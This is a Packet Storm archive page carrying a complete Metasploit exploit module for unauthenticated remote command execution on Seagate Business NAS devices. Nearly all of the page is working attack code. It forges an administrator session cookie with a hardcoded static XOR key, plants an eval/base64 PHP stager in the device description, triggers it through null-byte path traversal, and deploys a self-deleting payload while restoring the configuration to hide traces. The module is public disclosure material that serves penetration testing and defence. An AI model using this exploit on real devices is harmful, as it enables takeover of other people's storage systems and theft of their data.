exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Seagate Business NAS Unauthenticated Remote Command Execution

Seagate Business NAS Unauthenticated Remote Command Execution
Posted Mar 2, 2015
Authored by OJ Reeves | Site metasploit.com

Some Seagate Business NAS devices are vulnerable to command execution via a local file include vulnerability hidden in the language parameter of the CodeIgniter session cookie. The vulnerability manifests in the way the language files are included in the code on the login page, and hence is open to attack from users without the need for authentication. The cookie can be easily decrypted using a known static encryption key and re-encrypted once the PHP object string has been modified. This Metasploit module has been tested on the STBN300 device.

tags | exploit, local, php
advisories | CVE-2014-8684, CVE-2014-8686, CVE-2014-8687
SHA-256 | 0487fb38d28fb3a16f1e6da5666a62aa264281d650c6fa4c8f45c8249d44e294

Seagate Business NAS Unauthenticated Remote Command Execution

Change Mirror Download
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'
require 'rexml/document'

class Metasploit4 < Msf::Exploit::Remote
Rank = NormalRanking

include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(update_info(info,
'Name' => 'Seagate Business NAS Unauthenticated Remote Command Execution',
'Description' => %q{
Some Seagate Business NAS devices are vulnerable to command execution via a local
file include vulnerability hidden in the language parameter of the CodeIgniter
session cookie. The vulnerability manifests in the way the language files are
included in the code on the login page, and hence is open to attack from users
without the need for authentication. The cookie can be easily decrypted using a
known static encryption key and re-encrypted once the PHP object string has been
modified.

This module has been tested on the STBN300 device.
},
'Author' => [
'OJ Reeves <oj[at]beyondbinary.io>' # Discovery and Metasploit module
],
'References' => [
['CVE', '2014-8684'],
['CVE', '2014-8686'],
['CVE', '2014-8687'],
['EDB', '36202'],
['URL', 'http://www.seagate.com/au/en/support/external-hard-drives/network-storage/business-storage-2-bay-nas/'],
['URL', 'https://beyondbinary.io/advisory/seagate-nas-rce/']
],
'DisclosureDate' => 'Mar 01 2015',
'Privileged' => true,
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Payload' => {'DisableNops' => true},
'Targets' => [['Automatic', {}]],
'DefaultTarget' => 0,
'License' => MSF_LICENSE
))

register_options([
OptString.new('TARGETURI', [true, 'Path to the application root', '/']),
OptString.new('ADMINACCOUNT', [true, 'Name of the NAS admin account', 'admin']),
OptString.new('COOKIEID', [true, 'ID of the CodeIgniter session cookie', 'ci_session']),
OptString.new('XORKEY', [true, 'XOR Key used for the CodeIgniter session', '0f0a000d02011f0248000d290d0b0b0e03010e07'])
])
end

#
# Write a string value to a serialized PHP object without deserializing it first.
# If the value exists it will be updated.
#
def set_string(php_object, name, value)
prefix = "s:#{name.length}:\"#{name}\";s:"
if php_object.include?(prefix)
# the value already exists in the php blob, so update it.
return php_object.gsub("#{prefix}\\d+:\"[^\"]*\"", "#{prefix}#{value.length}:\"#{value}\"")
end

# the value doesn't exist in the php blob, so create it.
count = php_object.split(':')[1].to_i + 1
php_object.gsub(/a:\d+(.*)}$/, "a:#{count}\\1#{prefix}#{value.length}:\"#{value}\";}")
end

#
# Findez ze holez!
#
def check
begin
res = send_request_cgi(
'uri' => normalize_uri(target_uri),
'method' => 'GET',
'headers' => {
'Accept' => 'text/html'
}
)

if res && res.code == 200
headers = res.to_s

# validate headers
if headers.incude?('X-Powered-By: PHP/5.2.13') && headers.include?('Server: lighttpd/1.4.28')
# and make sure that the body contains the title we'd expect
if res.body.include?('Login to BlackArmor')
return Exploit::CheckCode::Appears
end
end
end
rescue Rex::ConnectionRefused, Rex::ConnectionTimeout, Rex::HostUnreachable
# something went wrong, assume safe.
end

Exploit::CheckCode::Safe
end

#
# Executez ze sploitz!
#
def exploit

# Step 1 - Establish a session with the target which will give us a PHP object we can
# work with.
begin
print_status("#{peer} - Establishing session with target ...")
res = send_request_cgi({
'uri' => normalize_uri(target_uri),
'method' => 'GET',
'headers' => {
'Accept' => 'text/html'
}
})

if res && res.code == 200 && res.to_s =~ /#{datastore['COOKIEID']}=([^;]+);/
cookie_value = $1.strip
else
fail_with(Exploit::Failure::Unreachable, "#{peer} - Unexpected response from server.")
end
rescue Rex::ConnectionRefused, Rex::ConnectionTimeout, Rex::HostUnreachable
fail_with(Exploit::Failure::Unreachable, "#{peer} - Unable to establish connection.")
end

# Step 2 - Decrypt the cookie so that we have a PHP object we can work with directly
# then update it so that it's an admin session before re-encrypting
print_status("#{peer} - Upgrading session to administrator ...")
php_object = decode_cookie(cookie_value)
vprint_status("#{peer} - PHP Object: #{php_object}")

admin_php_object = set_string(php_object, 'is_admin', 'yes')
admin_php_object = set_string(admin_php_object, 'username', datastore['ADMINACCOUNT'])
vprint_status("#{peer} - Admin PHP object: #{admin_php_object}")

admin_cookie_value = encode_cookie(admin_php_object)

# Step 3 - Extract the current host configuration so that we don't lose it.
host_config = nil

# This time value needs to be consistent across calls
config_time = ::Time.now.to_i

begin
print_status("#{peer} - Extracting existing host configuration ...")
res = send_request_cgi(
'uri' => normalize_uri(target_uri, 'index.php/mv_system/get_general_setup'),
'method' => 'GET',
'headers' => {
'Accept' => 'text/html'
},
'cookie' => "#{datastore['COOKIEID']}=#{admin_cookie_value}",
'vars_get' => {
'_' => config_time
}
)

if res && res.code == 200
res.body.split("\r\n").each do |l|
if l.include?('general_setup')
host_config = l
break
end
end
else
fail_with(Exploit::Failure::Unreachable, "#{peer} - Unexpected response from server.")
end
rescue Rex::ConnectionRefused, Rex::ConnectionTimeout, Rex::HostUnreachable
fail_with(Exploit::Failure::Unreachable, "#{peer} - Unable to establish connection.")
end

print_good("#{peer} - Host configuration extracted.")
vprint_status("#{peer} - Host configuration: #{host_config}")

# Step 4 - replace the host device description with a custom payload that can
# be used for LFI. We have to keep the payload small because of size limitations
# and we can't put anything in with '$' in it. So we need to make a simple install
# payload which will write a required payload to disk that can be executes directly
# as the last part of the payload. This will also be self-deleting.
param_id = rand_text_alphanumeric(3)

# There are no files on the target file system that start with an underscore
# so to allow for a small file size that doesn't collide with an existing file
# we'll just prefix it with an underscore.
payload_file = "_#{rand_text_alphanumeric(3)}.php"

installer = "file_put_contents('#{payload_file}', base64_decode($_POST['#{param_id}']));"
stager = Rex::Text.encode_base64(installer)
stager = xml_encode("<?php eval(base64_decode('#{stager}')); ?>")
vprint_status("#{peer} - Stager: #{stager}")

# Butcher the XML directly rather than attempting to use REXML. The target XML
# parser is way to simple/flaky to deal with the proper stuff that REXML
# spits out.
desc_start = host_config.index('" description="') + 15
desc_end = host_config.index('"', desc_start)
xml_payload = host_config[0, desc_start] +
stager + host_config[desc_end, host_config.length]
vprint_status(xml_payload)

# Step 5 - set the host description to the stager so that it is written to disk
print_status("#{peer} - Uploading stager ...")
begin
res = send_request_cgi(
'uri' => normalize_uri(target_uri, 'index.php/mv_system/set_general_setup'),
'method' => 'POST',
'headers' => {
'Accept' => 'text/html'
},
'cookie' => "#{datastore['COOKIEID']}=#{admin_cookie_value}",
'vars_get' => {
'_' => config_time
},
'vars_post' => {
'general_setup' => xml_payload
}
)

unless res && res.code == 200
fail_with(Exploit::Failure::Unreachable, "#{peer} - Stager upload failed (invalid result).")
end
rescue Rex::ConnectionRefused, Rex::ConnectionTimeout, Rex::HostUnreachable
fail_with(Exploit::Failure::Unreachable, "#{peer} - Stager upload failed (unable to establish connection).")
end

print_good("#{peer} - Stager uploaded.")

# Step 6 - Invoke the stage, passing in a self-deleting php script body.
print_status("#{peer} - Executing stager ...")
payload_php_object = set_string(php_object, 'language', "../../../etc/devicedesc\x00")
payload_cookie_value = encode_cookie(payload_php_object)
self_deleting_payload = "<?php unlink(__FILE__);\r\n#{payload.encoded}; ?>"
errored = false

begin
res = send_request_cgi(
'uri' => normalize_uri(target_uri),
'method' => 'POST',
'headers' => {
'Accept' => 'text/html'
},
'cookie' => "#{datastore['COOKIEID']}=#{payload_cookie_value}",
'vars_post' => {
param_id => Rex::Text.encode_base64(self_deleting_payload)
}
)

if res && res.code == 200
print_good("#{peer} - Stager execution succeeded, payload ready for execution.")
else
print_error("#{peer} - Stager execution failed (invalid result).")
errored = true
end
rescue Rex::ConnectionRefused, Rex::ConnectionTimeout, Rex::HostUnreachable
print_error("#{peer} - Stager execution failed (unable to establish connection).")
errored = true
end

# Step 7 - try to restore the previous configuration, allowing exceptions
# to bubble up given that we're at the end. This step is important because
# we don't want to leave a trail of junk on disk at the end.
print_status("#{peer} - Restoring host config ...")
res = send_request_cgi(
'uri' => normalize_uri(target_uri, 'index.php/mv_system/set_general_setup'),
'method' => 'POST',
'headers' => {
'Accept' => 'text/html'
},
'cookie' => "#{datastore['COOKIEID']}=#{admin_cookie_value}",
'vars_get' => {
'_' => config_time
},
'vars_post' => {
'general_setup' => host_config
}
)

# Step 8 - invoke the installed payload, but only if all went to plan.
unless errored
print_status("#{peer} - Executing payload at #{normalize_uri(target_uri, payload_file)} ...")
res = send_request_cgi(
'uri' => normalize_uri(target_uri, payload_file),
'method' => 'GET',
'headers' => {
'Accept' => 'text/html'
},
'cookie' => "#{datastore['COOKIEID']}=#{payload_cookie_value}"
)
end
end

#
# Take a CodeIgnitor cookie and pull out the PHP object using the XOR
# key that we've been given.
#
def decode_cookie(cookie_content)
cookie_value = Rex::Text.decode_base64(URI.decode(cookie_content))
pass = xor(cookie_value, datastore['XORKEY'])
result = ''

(0...pass.length).step(2).each do |i|
result << (pass[i].ord ^ pass[i + 1].ord).chr
end

result
end

#
# Take a serialised PHP object cookie value and encode it so that
# CodeIgniter thinks it's legit.
#
def encode_cookie(cookie_value)
rand = Rex::Text.sha1(rand_text_alphanumeric(40))

block = ''

(0...cookie_value.length).each do |i|
block << rand[i % rand.length]
block << (rand[i % rand.length].ord ^ cookie_value[i].ord).chr
end

cookie_value = xor(block, datastore['XORKEY'])
cookie_value = CGI.escape(Rex::Text.encode_base64(cookie_value))
vprint_status("#{peer} - Cookie value: #{cookie_value}")

cookie_value
end

#
# XOR a value against a key. The key is cycled.
#
def xor(string, key)
result = ''

string.bytes.zip(key.bytes.cycle).each do |s, k|
result << (s ^ k)
end

result
end

#
# Simple XML substitution because the target XML handler isn't really
# full blown or smart.
#
def xml_encode(str)
str.gsub(/</, '<').gsub(/>/, '>')
end

end
Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close